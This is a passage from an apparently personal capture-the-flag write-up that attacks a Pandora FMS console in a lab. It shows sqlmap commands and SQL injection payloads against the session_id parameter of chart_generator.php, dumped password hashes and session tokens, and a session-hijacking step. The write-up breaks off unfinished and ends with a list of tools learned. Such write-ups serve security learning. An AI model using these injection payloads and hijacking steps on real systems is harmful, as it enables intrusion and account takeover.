| tvisual_console_elements_cache     |
| twidget                            |
| twidget_dashboard                  |
+------------------------------------+

Neat! Looking through that huge list of tables there’s a few that stick out.

  • tpassword_history
  • tsessions_php

Let’s see what’s in the password_history table.

sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora -T tpassword_history --d
[07:41:58] [INFO] testing MySQL
[07:41:58] [INFO] confirming MySQL
[07:41:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:41:58] [INFO] fetching columns for table 'tpassword_history' in database 'pandora'
[07:41:58] [WARNING] reflective value(s) found and filtering out
[07:41:58] [INFO] the SQL query used returns 5 entries
[07:41:58] [INFO] retrieved: id_pass
[07:41:59] [INFO] retrieved: int(10) unsigned
[07:41:59] [INFO] retrieved: id_user
[07:41:59] [INFO] retrieved: varchar(60)
[07:41:59] [INFO] retrieved: password
[07:41:59] [INFO] retrieved: varchar(45)
[07:41:59] [INFO] retrieved: date_begin
[07:41:59] [INFO] retrieved: datetime
[07:42:00] [INFO] retrieved: date_end
[07:42:00] [INFO] retrieved: datetime
[07:42:00] [INFO] fetching entries for table 'tpassword_history' in database 'pandora'
[07:42:00] [INFO] the SQL query used returns 2 entries
[07:42:00] [INFO] retrieved: 2021-06-11 17:28:54
[07:42:00] [INFO] retrieved: 0000-00-00 00:00:00
[07:42:00] [INFO] retrieved: 1
[07:42:00] [INFO] retrieved: matt
[07:42:01] [INFO] retrieved: f655f807365b6dc602b31ab3d6d43acc
[07:42:01] [INFO] retrieved: 2021-06-17 00:11:54
[07:42:01] [INFO] retrieved: 0000-00-00 00:00:00
[07:42:01] [INFO] retrieved: 2
[07:42:01] [INFO] retrieved: daniel
[07:42:01] [INFO] retrieved: 76323c174bd49ffbbdedf678f6cc89a6
[07:42:01] [INFO] analyzing table dump for possible password hashes
[07:42:01] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: pandora
Table: tpassword_history
[2 entries]
+---------+---------+---------------------+----------------------------------+---------------------+
| id_user | id_pass | date_end            | password                         | date_begin          |
+---------+---------+---------------------+----------------------------------+---------------------+
| matt    | 1       | 0000-00-00 00:00:00 | f655f807365b6dc602b31ab3d6d43acc | 2021-06-11 17:28:54 |
| daniel  | 2       | 0000-00-00 00:00:00 | 76323c174bd49ffbbdedf678f6cc89a6 | 2021-06-17 00:11:54 |
+---------+---------+---------------------+----------------------------------+---------------------+

[07:42:12] [INFO] table 'pandora.tpassword_history' dumped to CSV file '/root/.sqlmap/output/localhost/dump/pandora/tpassword_history.csv'
[07:42:12] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 07:42:12

There are some MD5 passwords we might be able to use. I search for them on https://crackstation.net/ but nothing came back.

Now for the session table.

sqlmap --url "localhost:8080/pandora_console/include/chart_generator.php?session_id=''" --dbms mysql -D pandora -T tsessions_php --dump    
         _
 ___ ___| |_____ ___ ___  {1.0.9.32#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 07:43:42

[07:43:42] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: session_id (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: session_id=''' RLIKE (SELECT (CASE WHEN (7980=7980) THEN 0x2727 ELSE 0x28 END))-- FWHp

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: session_id=''' OR (SELECT 8604 FROM(SELECT COUNT(*),CONCAT(0x7171717671,(SELECT (ELT(8604=8604,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- dREj

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: session_id=''' OR SLEEP(5)-- VzZo
---
[07:43:43] [INFO] testing MySQL
[07:43:43] [INFO] confirming MySQL
[07:43:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[07:43:43] [INFO] fetching columns for table 'tsessions_php' in database 'pandora'
[07:43:43] [WARNING] reflective value(s) found and filtering out
[07:43:43] [INFO] the SQL query used returns 3 entries
[07:43:43] [INFO] retrieved: id_session
[07:43:43] [INFO] retrieved: char(52)
[07:43:43] [INFO] retrieved: last_active
[07:43:43] [INFO] retrieved: int(11)
[07:43:43] [INFO] retrieved: data
[07:43:44] [INFO] retrieved: text
[07:43:44] [INFO] fetching entries for table 'tsessions_php' in database 'pandora'
[07:43:44] [INFO] the SQL query used returns 391 entries
[07:43:44] [INFO] retrieved:  
[07:43:44] [INFO] retrieved: 04qv0ieochu3kleoobsslosuas
[07:43:44] [INFO] retrieved: 1651389855
[07:43:45] [INFO] retrieved:  
[07:43:45] [INFO] retrieved: 07quhh986gp4ivubrlcuammmj8
[07:43:45] [INFO] retrieved: 1651389868
[07:43:45] [INFO] retrieved: id_usuario|s:6:"daniel";
[07:43:45] [INFO] retrieved: 09vao3q1dikuoi1vhcvhcjjbc6
[07:43:45] [INFO] retrieved: 1638783555
[07:43:45] [INFO] retrieved:  
[07:43:46] [INFO] retrieved: 0ahul7feb1l9db7ffp8d25sjba
[07:43:46] [INFO] retrieved: 1638789018
[07:43:46] [INFO] retrieved:  
[07:43:46] [INFO] retrieved: 0as2t0ba35uda375oph768d3eu
[07:43:46] [INFO] retrieved: 1651389944
[07:43:46] [INFO] retrieved:  
[07:43:46] [INFO] retrieved: 0c0sb6juonehcf852jpbfkjk8a
[07:43:47] [INFO] retrieved: 1651389953
[07:43:47] [INFO] retrieved:  
[07:43:47] [INFO] retrieved: 0eactt6q66lvo40gq5ndvokeql
[07:43:47] [INFO] retrieved: 1651389855
[07:43:47] [INFO] retrieved:  
[07:43:47] [INFO] retrieved: 0ekt93suaqbt214qrr4jaotsuh
[07:43:48] [INFO] retrieved: 1651389958
[07:43:48] [INFO] retrieved:  
[07:43:48] [INFO] retrieved: 0js1q11foc3d1po7odevla2h5g
[07:43:48] [INFO] retrieved: 1651389943
[07:43:48] [INFO] retrieved:  
[07:43:48] [INFO] retrieved: 0kq643dikrq0p4t5tl8p3ghf6s
[07:43:48] [INFO] retrieved: 1651389868
[07:43:49] [INFO] retrieved:  
[07:43:49] [INFO] retrieved: 0lumitmr74spnoj449k4mefv79
[07:43:49] [INFO] retrieved: 1651389877
[07:43:49] [INFO] retrieved:  
[07:43:49] [INFO] retrieved: 0mkmejjaj5dh7sq49v543jlsum
[07:43:49] [INFO] retrieved: 1651389955
[07:43:49] [INFO] retrieved:  
[07:43:50] [INFO] retrieved: 0peh1d7ghlmgsha5gj0e0hdjmb
[07:43:50] [INFO] retrieved: 1651389856
[07:43:50] [INFO] retrieved:  
[07:43:50] [INFO] retrieved: 0qof46e9co2c1t32qbi28lsa0q
[07:43:50] [INFO] retrieved: 1651389942
[07:43:50] [INFO] retrieved:  
[07:43:51] [INFO] retrieved: 0the81loplsu3f3gu8ogg13tm8
[07:43:51] [INFO] retrieved: 1651389865
[07:43:51] [INFO] retrieved:  
[07:43:51] [INFO] retrieved: 1081bvoccvg4poolf5j5b7rt3f
[07:43:51] [INFO] retrieved: 1651389854
^C
[07:43:51] [WARNING] user aborted during enumeration. sqlmap will display partial output
[07:43:51] [INFO] analyzing table dump for possible password hashes
Database: pandora
Table: tsessions_php
[16 entries]
+----------------------------+--------------------------+-------------+
| id_session                 | data                     | last_active |
+----------------------------+--------------------------+-------------+
| 04qv0ieochu3kleoobsslosuas | NULL                     | 1651389855  |
| 07quhh986gp4ivubrlcuammmj8 | NULL                     | 1651389868  |
| 09vao3q1dikuoi1vhcvhcjjbc6 | id_usuario|s:6:"daniel"; | 1638783555  |
| 0ahul7feb1l9db7ffp8d25sjba | NULL                     | 1638789018  |
| 0as2t0ba35uda375oph768d3eu | NULL                     | 1651389944  |
| 0c0sb6juonehcf852jpbfkjk8a | NULL                     | 1651389953  |
| 0eactt6q66lvo40gq5ndvokeql | NULL                     | 1651389855  |
| 0ekt93suaqbt214qrr4jaotsuh | NULL                     | 1651389958  |
| 0js1q11foc3d1po7odevla2h5g | NULL                     | 1651389943  |
| 0kq643dikrq0p4t5tl8p3ghf6s | NULL                     | 1651389868  |
| 0lumitmr74spnoj449k4mefv79 | NULL                     | 1651389877  |
| 0mkmejjaj5dh7sq49v543jlsum | NULL                     | 1651389955  |
| 0peh1d7ghlmgsha5gj0e0hdjmb | NULL                     | 1651389856  |
| 0qof46e9co2c1t32qbi28lsa0q | NULL                     | 1651389942  |
| 0the81loplsu3f3gu8ogg13tm8 | NULL                     | 1651389865  |
| 1081bvoccvg4poolf5j5b7rt3f | NULL                     | 1651389854  |
+----------------------------+--------------------------+-------------+

[07:43:51] [INFO] table 'pandora.tsessions_php' dumped to CSV file '/root/.sqlmap/output/localhost/dump/pandora/tsessions_php.csv'
[07:43:51] [INFO] fetched data logged to text files under '/root/.sqlmap/output/localhost'

[*] shutting down at 07:43:51

So those id_session are potentially interesting, we may be able to use those with a Session Hijacking Attack.

If we copy one of the id_session values for Daniel and paste it into our browser, using the vulnerable chart url, we should be able to start a valid session in the application.

http://localhost:8080/pandora_console/include/chart_generator.php?session_id=SESSION_ID_HERE

Note: might need to let teh session dump from sqlmap run all the way through, and use a recent session token.

                                 TO BE CONTINUED
                                   going to bed

Conclusion

Key Learnings, Techniques and Tools

  1. gobuster
  2. nmap - TCP and UDP
  3. snmpcheck - SNMP information discovery tool
  4. sqlmap - SQL injection automation tool
  5. temp-mail.org - Disposable Temporary E-mail service
  6. RCE - Remote Code Execution
  7. PVESC - Priveldge Escalation

Check the easy things first.

I knew I was on a box running Apache, I should have checked the running sites and the hosts files first. Instead I was blundering around that host_check file for a few minutes, and found some hosts in it’s log file.

I didn’t check to see what other home directories there were until much later. That would have been an easy thing to do.

Resources

Thanks to others for the great writeups. These helped to get me unstuck, and learn a few more tools.



comments powered by Disqus